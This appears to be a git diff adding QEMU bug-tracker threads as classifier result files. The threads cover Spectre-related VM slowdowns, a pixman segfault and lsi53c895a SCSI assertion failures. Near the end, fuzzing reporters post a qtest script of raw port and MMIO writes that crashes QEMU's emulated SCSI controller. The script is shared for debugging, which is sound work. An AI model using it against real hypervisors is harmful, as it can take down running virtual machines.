"STATUS: NOT VULNERABLE" lines + +If you disable Spectre protection in the Windows VM, then it is not protected from Spectre. The hypervisor protects itself, and exposes the CPU feature(s) that enable the guest to activate its own protection. The hypervisor won't protect the guest directly - it just gives it the tools needed to protect itself. + +> If you disable Spectre protection in the Windows VM, then it is not protected from Spectre. The hypervisor protects itself, and exposes the CPU feature(s) that enable the guest to activate its own protection. The hypervisor won't protect the guest directly - it just gives it the tools needed to protect itself. + +Thanks for the indepth explanation. In other words, Spectre protection inside the Windows VM needs to be enabled to work. + +The only problem is that Windows (or a Linux VM for that matter) either +1. does not recognize some CPU features (as introduced by the microcode on the host); +2. uses code to mitigate the Spectre vulnerability that doesn't work well inside a VM. + +Since I have a comparison versus Windows bare metal with Spectre protection enabled, there might be something that needs improving in the hypervisor. + +In any case, Spectre protection has to be enabled in the Windows VM to be effective, which is a real bummer considering the performance penalty. + +Any chance someone can look into the why there is this performance hit ONLY inside the qemu-kvm VM? Maybe there is a solution to it. + +I find it interesting this is a slow down with PCI passthrough - that's pretty much the case you'd expect there to be least change; it shouldn't be generating lots of vm exit's for example which you'd expect could have been made slower by the recent security changes. + +I suppose one thing you could try is profiling on the host to see if more time is spent in the host kernel or qemu when running the 2d tests with the new vs older windows; if it points to some particular hot spot there then perhaps it might be possible to understand why. + + +Here is another person confirming the bug, with a little more details: + +https://bugzilla.kernel.org/show_bug.cgi?id=200877#c2 + +Sorry for reporting the bug twice, but it is unclear to me whose going to take action. + +I don't have the nvidia for pass through to try this with; but I suggest that you try the following: + + a) Start a windows vm running an older version unaffected by the bug and start a 2d test + b) run 'perf top' on the host while the test is running and capture the results + - make sure you have debug symbols for both qemu (and related libraries) and the kernel + c) now repeat a/b for the newer version of windows that's affected + +add the results of the 'perf top' to this bug; hopefully we'll be able to see qemu or the kernel spending a lot more time in some particular routine in the new version. + +I won’t be able to run any tests for the next 16 days at the very least, as I’m traveling. + + + +> On 5 Sep 2018, at 13:21, Dr. David Alan Gilbert <email address hidden> wrote: +> +> I don't have the nvidia for pass through to try this with; but I suggest +> that you try the following: +> +> a) Start a windows vm running an older version unaffected by the bug and start a 2d test +> b) run 'perf top' on the host while the test is running and capture the results +> - make sure you have debug symbols for both qemu (and related libraries) and the kernel +> c) now repeat a/b for the newer version of windows that's affected +> +> add the results of the 'perf top' to this bug; hopefully we'll be able +> to see qemu or the kernel spending a lot more time in some particular +> routine in the new version. +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1788665 +> +> Title: +> Low 2D graphics performance with Windows 10 (1803) VGA passthrough VM +> using "Spectre" protection +> +> Status in QEMU: +> New +> +> Bug description: +> Windows 10 (1803) VM using VGA passthrough via qemu script. +> +> After upgrading Windows 10 Pro VM to version 1803, or possibly after +> applying the March/April security updates from Microsoft, the VM would +> show low 2D graphics performance (sluggishness in 2D applications and +> low Passmark results). +> +> Turning off Spectre vulnerability protection in Windows remedies the +> issue. +> +> Expected behavior: +> qemu/kvm hypervisor to expose firmware capabilities of host to guest OS - see https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/CVE-2017-5715-and-hyper-v-vms +> +> Background: +> +> Starting in March or April Microsoft began to push driver updates in +> their updates / security updates. See https://support.microsoft.com +> /en-us/help/4073757/protect-your-windows-devices-against-spectre- +> meltdown +> +> One update concerns the Intel microcode - see +> https://support.microsoft.com/en-us/help/4100347. It is activated by +> default within Windows. +> +> Once the updates are applied within the Windows guest, 2D graphics +> performance drops significantly. Other performance benchmarks are not +> affected. +> +> A bare metal Windows installation does not display a performance loss +> after the update. See https://heiko-sieger.info/low-2d-graphics- +> benchmark-with-windows-10-1803-kvm-vm/ +> +> Similar reports can be found here: +> https://www.reddit.com/r/VFIO/comments/97unx4/passmark_lousy_2d_graphics_performance_on_windows/ +> +> Hardware: +> +> 6 core Intel Core i7-3930K (-MT-MCP-) +> +> Host OS: +> Linux Mint 19/Ubuntu 18.04 +> Kernel: 4.15.0-32-generic x86_64 +> Qemu: QEMU emulator version 2.11.1 +> Intel microcode (host): 0x714 +> dmesg | grep microcode +> [ 0.000000] microcode: microcode updated early to revision 0x714, date = 2018-05-08 +> [ 2.810683] microcode: sig=0x206d7, pf=0x4, revision=0x714 +> [ 2.813340] microcode: Microcode Update Driver: v2.2. +> +> Note: I manually updated the Intel microcode on the host from 0x713 to +> 0x714. However, both microcode versions produce the same result in the +> Windows guest. +> +> Guest OS: +> Windows 10 Pro 64 bit, release 1803 +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1788665/+subscriptions + + + +Hello All, + +I can reproduce this on two different systems with Ivy-Bridge CPUs: +Xeon E5 2667v2 / X9SRA running Fedora 28, with Windows 10 1803 as KVM guest +Xeon E3 1270v2 / X9SCM running Archlinux, with Windows 10 1803 as KVM guest + +The performance degradation doesn't occur when the Windows 10 guest disables the spectre mitigation using "InSpectre.exe", or when the spec-ctrl flag is disabled in libvirt, or when the cpu-microcode isn't updated in the host. + +I followed the latest suggestion, and enabled "--enable-debug" in qemu-3.0 and also compiled kernel-4.17.19 with CONFIG_DEBUG_INFO=y. However I cannot see any differences while running "perf top" in the host between the affected/unaffected version of windows. CPU usage seems to be the same. + +Any hints would be greatly appreciated. + +Best, +George + +I did a git-bisect between 4.14.18(bad) and 4.14.10(good). Unsurprisingly, this is the first "bad" commit: + + KVM/VMX: Allow direct access to MSR_IA32_SPEC_CTRL + + commit d28b387fb74da95d69d2615732f50cceb38e9a4d + + +George + +George: Can you confirm how your graphics is setup; the original reporter had an Nvidia card with PCI passthrough; is yours the same? + +Yes, it's an Nvidia GTX 1060 6GB with PCI passthrough to a Windows 1803 KVM guest. As far as I can tell my setup is very similar to Heiko's, only I am using libvirt, not qemu directly. + +It seems that this "bug" affects only 2D-performance mediated through GDI in Windows (CPU-, not GPU-driven). There have been reports that GDI switches a lot between user/kernel space. + +Are vmexits triggered when the guest switches from user- to kernel-space? Could this be subsequently causing IRBS swaps and degradation of performance? Then again, "perf kvm --host stat live" doesn't report an increase in vmexits. + +It would be interesting to know whether this behavior persists under other hypervisors (ESXi or Windows Server 2016). + +I don't think we should see a vmexit on a guest user<->kernel switch. + +You could try a kvm trace: + +trace-cmd record -b 20000 -e kvm + +run your test, then ctrl-c +then + +trace-cmd report + +and you can see all the reasons for exit and see if there are any major differences. + +Yes, it would be good to know if it happened under other hypervisors; although this one is tricky since it's Windows guest with nvidia closed drivers, so it's a bit tricky to know what's going on. + +David, your suggestion seemed helpful, at least there is a difference in the pattern of vmentries and vmexits. See the snapshot attached. + +Explanation of snapshot_1: +Two windows of kernelshark with trace.dats obtained using the command from above; the left window (trace.dat) is with spec-ctrl feature disabled, the right window with spec-ctrl enabled (default). +CPU9 runs the emulator (emulatorpin), and the spikes seen are kvm_set_irq every 16ms. CPUs 2-7 and 19-15 run the vcpu threads. +Halfway through the trace in the snapshot the test begins (passmark 2d image rendering). The VM without spec-ctrl triggers vmentries/vmexits much more often than the VM with spec-ctrl. I could not spot a difference in the pattern of the vmentries/vmexits themselves (snapshot_2 below), only their frequency seems to differ. + +Does anybody have an idea of what is going on? + +George + +snapshot_2 showing the pattern of vmentries/vmexits from the previous comment ("zoom-in"). + +Have we got this the right way around???? +So you're saying the one with spec-ctrl disabled is faster, but has a lot more kvm-exits? + +Just to be sure, I repeated it, with the same result. I have the impression that it might be the time spent between a vmentry and a vmexit that matters in the CPU performance of the guest. I am no expert though. + +This is what I am seeing in the graphs: +vmentry----interval A(s)----vmexit----interval B(s)----vmentry.... +"interval A" seems to be constant, whereas "interval B" seems to be shorter in the VM without spec-ctrl. This would mean that the CPU performs a vmentry much quicker than in the VM with spec-ctrl enabled. I cannot see why though. + +I uploaded the traces here: +https://drive.google.com/open?id=1_2T79_bvLUX-o12XtPRnDQf_nlH7a2tF + +I also tried to give ESXi a try. VMware lets me download only 6.7 from their site. Although I have a workstation motherboard (Supermicro X9SRA), it won't let me start a VM with IOMMU enabled, it complains about failing to register the passthrough GPU. + +It doesn't surprise me too much that the time spent on the host between exit&entry is higher on a host dealing with spec-ctrl; but I wouldn't really expect it to change depending on the guests settings. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +I've switched hosts so I would have to run a series of tests to compare. + +There are a number of new variables: + +1. Windows 10 release (I'm now on Windows 2004) +2. My host OS is now Manjaro +3. CPU is now AMD Ryzen 3900X (before it was Intel 3930k) +4. Kernel is 5.8.18-1-MANJARO +5. qemu 5.1.0 +6. libvirt 6.5.0 +7. New VM configuration using virt-manager/libvirt with EPYC-IBPB model instead of host-passthrough, instead of a qemu bash script to launch the VM. + +Time permitting, I plan to replace Manjaro for a Ubuntu 20.04 based distro. But this will not happen in the very near future. + +In the meantime I will do some a/b tests with spectre protection under Windows enabled/disabled to see if it is still an issue. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/investigation./1234179 b/results/classifier/deepseek-1/output/investigation./1234179 new file mode 100644 index 00000000..5c27545b --- /dev/null +++ b/results/classifier/deepseek-1/output/investigation./1234179 @@ -0,0 +1,201 @@ + +QEMU segfaults during Windows 7 unattended install + +During today's automated qemu.git testing, a segmentation fault while installing Windows 7 SP1 happened. + +qemu.git top commit: +10/02 01:30:24 INFO | git:0150| git commit ID is a684f3cf9b9b9c3cb82be87aafc463de8974610c (tag v1.4.0-4237-ga684f3c) + +commit a684f3cf9b9b9c3cb82be87aafc463de8974610c +Merge: 349cd52 1cf9412 +Author: Anthony Liguori <email address hidden> +Date: Mon Sep 30 17:15:27 2013 -0500 + + Merge remote-tracking branch 'kraxel/seabios-1.7.3.2' into staging + + # By Gerd Hoffmann + # Via Gerd Hoffmann + * kraxel/seabios-1.7.3.2: + update seabios from 1.7.2.2 to 1.7.3.2 + + Message-id: <email address hidden> + +We have the core file saved in our test servers, we can make arrangements to transfer it if there's someone interested in investigating further. The framework saved the 'bt full' of the core file, that was missing some debug info: + +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib64/libthread_db.so.1". +Core was generated by `/usr/local/autotest/tests/virt/qemu/qemu -S -name virt-tests-vm1 -M pc -nodefau'. +Program terminated with signal 11, Segmentation fault. +#0 0x00007ffc8fb86cf0 in pixman_image_get_data () from /lib64/libpixman-1.so.0 +#0 0x00007ffc8fb86cf0 in pixman_image_get_data () from /lib64/libpixman-1.so.0 +No symbol table info available. +#1 0x00007ffc9165b05c in ?? () +No symbol table info available. +#2 0x00007ffc9382b540 in ?? () +No symbol table info available. +#3 0x00007ffc8f359a8d in clock_gettime () from /lib64/libc.so.6 +No symbol table info available. +#4 0x00007ffc9382b5a8 in ?? () +No symbol table info available. +#5 0x000000019382b4c0 in ?? () +No symbol table info available. +#6 0x0000000000000000 in ?? () +No symbol table info available. + +Extra info: + +Commits for the submodules: + +10/02 01:30:29 DEBUG|base_utils:0134| [stdout] Submodule path 'dtc': checked out 'bc895d6d09695d05ceb8b52486ffe861d6cfbdde' +10/02 01:30:51 DEBUG|base_utils:0134| [stdout] Submodule path 'pixman': checked out '97336fad32acf802003855cd8bd6477fa49a12e3' +10/02 01:30:58 DEBUG|base_utils:0134| [stdout] Submodule path 'roms/SLOF': checked out '8cfdfc43f4c4c8c8dfa4b7cf16f7c19c84eee812' +10/02 01:31:16 DEBUG|base_utils:0134| [stdout] Submodule path 'roms/ipxe': checked out '09c5109b8585178172c7608de8d52e9d9af0b680' +10/02 01:31:20 DEBUG|base_utils:0134| [stdout] Submodule path 'roms/openbios': checked out '0f3d51ef22ec9166beb3ed434d253029ed7cfe84' +10/02 01:31:21 DEBUG|base_utils:0134| [stdout] Submodule path 'roms/qemu-palcode': checked out 'c87a92639b28ac42bc8f6c67443543b405dc479b' +10/02 01:31:27 DEBUG|base_utils:0134| [stdout] Submodule path 'roms/seabios': checked out 'ece025f5980bae88fa677bc9c0d24d2e580e205d' +10/02 01:31:28 DEBUG|base_utils:0134| [stdout] Submodule path 'roms/sgabios': checked out '23d474943dcd55d0550a3d20b3d30e9040a4f15b' +10/02 01:31:31 DEBUG|base_utils:0134| [stdout] Submodule path 'roms/vgabios': checked out '19ea12c230ded95928ecaef0db47a82231c2e485' + +Configure options: + +10/02 01:31:32 DEBUG|base_utils:0099| Running '/usr/local/autotest/tmp/virt/src/qemu/configure --target-list=x86_64-softmmu --disable-strip --prefix=/usr/local/autotest/tests/virt/qemu/install_root' +10/02 01:31:35 DEBUG|env_proces:0829| (address cache) DHCP lease OK: 00:30:48:c5:d6:e2 --> 10.16.72.38 +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Install prefix /usr/local/autotest/tests/virt/qemu/install_root +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] BIOS directory /usr/local/autotest/tests/virt/qemu/install_root/share/qemu +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] binary directory /usr/local/autotest/tests/virt/qemu/install_root/bin +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] library directory /usr/local/autotest/tests/virt/qemu/install_root/lib +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] libexec directory /usr/local/autotest/tests/virt/qemu/install_root/libexec +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] include directory /usr/local/autotest/tests/virt/qemu/install_root/include +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] config directory /usr/local/autotest/tests/virt/qemu/install_root/etc +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] local state directory /usr/local/autotest/tests/virt/qemu/install_root/var +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Manual directory /usr/local/autotest/tests/virt/qemu/install_root/share/man +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] ELF interp prefix /usr/gnemul/qemu-%M +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Source path /usr/local/autotest/tmp/virt/src/qemu +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] C compiler cc +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Host C compiler cc +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] C++ compiler c++ +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Objective-C compiler cc +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] CFLAGS -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -g +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] QEMU_CFLAGS -Werror -fPIE -DPIE -m64 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wold-style-declaration -Wold-style-definition -Wtype-limits -fstack-protector-all -I/usr/include/pixman-1 -I$(SRC_PATH)/dtc/libfdt +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] LDFLAGS -Wl,--warn-common -Wl,-z,relro -Wl,-z,now -pie -m64 -g +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] make make +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] install install +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] python python -B +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] smbd /usr/sbin/smbd +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] host CPU x86_64 +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] host big endian no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] target list x86_64-softmmu +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] tcg debug enabled no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] gprof enabled no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] sparse enabled no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] strip binaries no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] profiler no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] static build no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] -Werror enabled yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] pixman system +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] SDL support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] GTK support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] curses support yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] curl support yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] mingw32 support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Audio drivers oss +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Block whitelist (rw) +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Block whitelist (ro) +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] VirtFS support yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] VNC support yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] VNC TLS support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] VNC SASL support yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] VNC JPEG support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] VNC PNG support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] VNC WS support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] xen support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] brlapi support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] bluez support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Documentation no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] GUEST_BASE yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] PIE yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] vde support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Linux AIO support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] ATTR/XATTR support yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Install blobs yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] KVM support yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] RDMA support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] TCG interpreter no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] fdt support yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] preadv support yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] fdatasync yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] madvise yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] posix_madvise yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] sigev_thread_id yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] uuid support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] libcap-ng support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] vhost-net support yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] vhost-scsi support yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Trace backend nop +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] Trace output file trace-<pid> +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] spice support no (/) +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] rbd support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] xfsctl support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] nss used no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] libusb no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] usb net redir no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] GLX support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] libiscsi support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] build guest agent yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] QGA VSS support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] seccomp support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] coroutine backend ucontext +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] coroutine pool yes +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] GlusterFS support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] virtio-blk-data-plane no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] gcov gcov +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] gcov enabled no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] TPM support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] libssh2 support no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] TPM passthrough no +10/02 01:31:40 DEBUG|base_utils:0134| [stdout] QOM debugging yes +10/02 01:31:40 INFO |build_help:0617| Running parallel make on build dir +10/02 01:31:40 DEBUG|base_utils:0099| Running 'make -j 24' + +That's a seabios update. It is interesting that qemu may crash due to different bios - this smells fishy, and it looks like there's some big security issue waiting to be discovered... ;) + +Lucas, I think you want to change --disable-strip into --enable-debug in your configure line, to be able to produce more useful gdb stack traces. + +Good point, I've just changed the configure line to include --enable-debug. + +About the relation of the crash with the top commit, We can't ensure it was because of this top commit, could be other patches that were applied from one day to another. We only test qemu.git once a day, we don't have enough resources to test commit per commit. + +Also, this crash apparently is not 100% reproducible. Today's jobs did not have it, for instance. I guess we don't have enough information about the crash, given that I did not enable debug symbols. + +I'm fine with closing this issue, if I see it again, I can reopen it and hopefully this time we'll have a more useful bt full report. + +The problem showed up this morning again, same top commit: + +10/07 01:34:42 INFO | git:0150| git commit ID is a684f3cf9b9b9c3cb82be87aafc463de8974610c (tag v1.4.0-4237-ga684f3c) + +This time around, debug symbols were enabled on the configure line: + +10/07 01:35:31 DEBUG|build_help:0588| Enabling debug symbols with option: --disable-strip +10/07 01:35:31 INFO |build_help:0607| Running configure on build dir +10/07 01:35:31 DEBUG|base_utils:0099| Running '/usr/local/autotest/tmp/virt/src/qemu/configure --target-list=x86_64-softmmu --enable-debug --disable-strip --prefix=/usr/local/autotest/tests/virt/qemu/install_root' + +But no additional info on bt full: + +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib64/libthread_db.so.1". +Core was generated by `/usr/local/autotest/tests/virt/qemu/qemu -S -name virt-tests-vm1 -M pc -nodefau'. +Program terminated with signal 11, Segmentation fault. +#0 0x00007f11f0f2fcf0 in pixman_image_get_data () from /lib64/libpixman-1.so.0 +#0 0x00007f11f0f2fcf0 in pixman_image_get_data () from /lib64/libpixman-1.so.0 +No symbol table info available. +#1 0x00007f11f2ac1be0 in ?? () +No symbol table info available. +#2 0x0000000000000000 in ?? () +No symbol table info available. + +I guess I need the debugging symbols for all involved libraries... + +Triaging old bug tickets ... can you somehow still reproduce this problem with the latest version of QEMU (currently v2.9), or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/investigation./697510 b/results/classifier/deepseek-1/output/investigation./697510 new file mode 100644 index 00000000..e1852e0a --- /dev/null +++ b/results/classifier/deepseek-1/output/investigation./697510 @@ -0,0 +1,153 @@ + +Machine shut off after tons of lsi_scsi: error: MSG IN data too long + +The problem mostly happens during our backup, syslog does not have any problematic messages. + +Host is Ubuntu 10.10 x86 64 bits +Guest is Windows 2003 Server 32 bits +Using Virtio and Red Hat driver I get a STOP screen 0x100000d1 and machine either reboot, stay frozen or shut off. +Using SCSI the machine shuts off and I get tons of message on stdout; + +LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin QEMU_AUDIO_DRV=none /usr/bin/kvm -S -M pc-0.12 -enable-kvm -m 3500 -smp 4,sockets=4,cores=1,threads=1 -name BMSRV0101 -uuid 6ccbb5fa-5880-a1ab-3b7a-fb7ccc7c8ccf -nodefaults -chardev socket,id=monitor,path=/var/lib/libvirt/qemu/BMSRV0101.monitor,server,nowait -mon chardev=monitor,mode=readline -rtc base=localtime -boot c -device lsi,id=scsi0,bus=pci.0,addr=0x4 -drive if=none,media=cdrom,id=drive-ide0-1-0,readonly=on,format=raw -device ide-drive,bus=ide.1,unit=0,drive=drive-ide0-1-0,id=ide0-1-0 -drive file=/dev/vgUbuntu/vmBMSRV0101,if=none,id=drive-scsi0-0-0,boot=on,format=raw -device scsi-disk,bus=scsi0.0,scsi-id=0,drive=drive-scsi0-0-0,id=scsi0-0-0 -device virtio-net-pci,vlan=0,id=net0,mac=52:54:00:5d:7b:07,bus=pci.0,addr=0x3 -net tap,fd=63,vlan=0,name=hostnet0 -chardev pty,id=serial0 -device isa-serial,chardev=serial0 -usb -device usb-tablet,id=input0 -vnc 127.0.0.1:0 -vga cirrus -device usb-host,hostbus=002,hostaddr=005,id=hostdev0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x6 +char device redirected to /dev/pts/0 +pci_add_option_rom: failed to find romfile "pxe-virtio.bin" +husb: open device 2.5 +husb: config #1 need -1 +husb: 1 interfaces claimed for configuration 1 +husb: grabbed usb device 2.5 +husb: config #1 need 1 +husb: 1 interfaces claimed for configuration 1 + +lsi_scsi: error: Unimplemented message 0x00 +(x8) + +lsi_scsi: error: MSG IN data too long +lsi_scsi: error: Unimplemented message 0x00 +(x760) + +lsi_scsi: error: MSG IN data too long +lsi_scsi: error: MSG IN data too long +kvm: /build/buildd/qemu-kvm-0.12.5+noroms/hw/lsi53c895a.c:512: lsi_do_dma: Assertion `s->current' failed. + + +I can include minidump file if needed. +I am currently using IDE and it seems OK. + +On Wed, Jan 5, 2011 at 5:05 AM, TiCPU <email address hidden> wrote: +> Using Virtio and Red Hat driver I get a STOP screen 0x100000d1 and machine either reboot, stay frozen or shut off. + +Here the minidump would be useful and we should get in touch with the +person that maintains the virtio-blk Windows driver. + +> Using SCSI the machine shuts off and I get tons of message on stdout; +[...] +> lsi_scsi: error: Unimplemented message 0x00 +> (x8) +> +> lsi_scsi: error: MSG IN data too long +> lsi_scsi: error: Unimplemented message 0x00 +> (x760) +> +> lsi_scsi: error: MSG IN data too long +> lsi_scsi: error: MSG IN data too long +> kvm: /build/buildd/qemu-kvm-0.12.5+noroms/hw/lsi53c895a.c:512: lsi_do_dma: Assertion `s->current' failed. + +Looks like the LSI SCSI device emulation is getting out of sync with +the guest's device driver. + +Can you give more details or a test case that reproduces these +problems? Which backup software are you using and is it known to do +special purpose SCSI commands? + +Stefan + +On Thu, Jan 6, 2011 at 9:43 AM, Stefan Hajnoczi <email address hidden> wrote: +> On Wed, Jan 5, 2011 at 5:05 AM, TiCPU <email address hidden> wrote: +>> Using Virtio and Red Hat driver I get a STOP screen 0x100000d1 and machine either reboot, stay frozen or shut off. +> +> Here the minidump would be useful and we should get in touch with the +> person that maintains the virtio-blk Windows driver. + +Vadim, do you maintain the virtio-blk Windows driver? Perhaps you +have some ideas on how to debug this? + +Stefan + +"Red Hat driver" means driver from rhel virtio-win.prm? + +Some new informations, the IDE bus works for a while then the PC slows down and finally backup fails and freeze most of the I/Os. + +The underlying device is a Iomega REV 120 USB appearing as a CD-ROM, /dev/sr0 and using FAT32 with 32k clusters. +The backup program is Symantec Backup Exec 11d + +I worked around the problem by formatting the REV 120 back to UDF and sharing it via Samba, BackupExec now backups to the REV via network. + +I tried iSCSI and had problems too. + +I attached all the minidumps, they all look the same. + +Can you try viostor with sptd (scsi pass through direct) disabled? + +Triaging old bug tickets ... do you still have this problem with the latest version of QEMU, or could we close this bug nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + +We found a reproducer during fuzzing: + +``` +qemu-system-x86_64: hw/scsi/lsi53c895a.c:624: lsi_do_dma: Assertion `s->current' failed. +``` + +To reproduce run the QEMU with the following command line: +``` +qemu-system-x86_64 -cdrom hypertrash.iso -nographic -m 100 -enable-kvm -net none -device ich9-usb-ehci1 -device usb-tablet -device lsi53c810,id=scsi0 -drive file=hda.img,if=none,format=raw,discard=unmap,cache=none,id=someid -device scsi-hd,drive=someid,bus=scsi0.0 +``` + +QEMU Version: +``` +# qemu-5.0.0 +$ ./configure --target-list=x86_64-softmmu --enable-sanitizers; make +$ x86_64-softmmu/qemu-system-x86_64 --version +QEMU emulator version 5.0.0 +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers +``` + +To create disk image run: +``` +dd if=/dev/zero of=hda.img bs=1024 count=1024 +``` + +Here is a qtest reproducer: + +cat << EOF | ./i386-softmmu/qemu-system-i386 -nographic -M q35,accel=qtest -qtest stdio -drive if=none,id=drive0,file=null-co://,file.read-zeroes=on,format=raw -device lsi53c895a,id=scsi0 -device scsi-hd,drive=drive0,bus=scsi0.0,channel=0,scsi-id=0,lun=0 -monitor none -serial none +outl 0xcf8 0x80001814 +outl 0xcfc 0xe1068000 +outl 0xcf8 0x80001818 +outl 0xcf8 0x80001804 +outw 0xcfc 0x7 +outl 0xcf8 0x80002010 +write 0xe106802e 0x1 0xff +write 0xe106802f 0x1 0xff +EOF + +With -trace lsi\*: +... +[R +0.037396] write 0xe106802e 0x1 0xff +15257@1594419708.889733:lsi_reg_write Write reg DSP2 0x2e = 0xff +OK +[S +0.037420] OK +[R +0.037434] write 0xe106802f 0x1 0xff +15257@1594419708.889814:lsi_reg_write Write reg DSP3 0x2f = 0xff +15257@1594419708.889862:lsi_execute_script SCRIPTS dsp=0xffff0000 opcode 0x105e8b06 arg 0x89084e8b +qemu-system-i386: /home/alxndr/Development/qemu/hw/scsi/lsi53c895a.c:624: void lsi_do_dma(LSIState *, int): Assertion `s->current' failed. + + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue 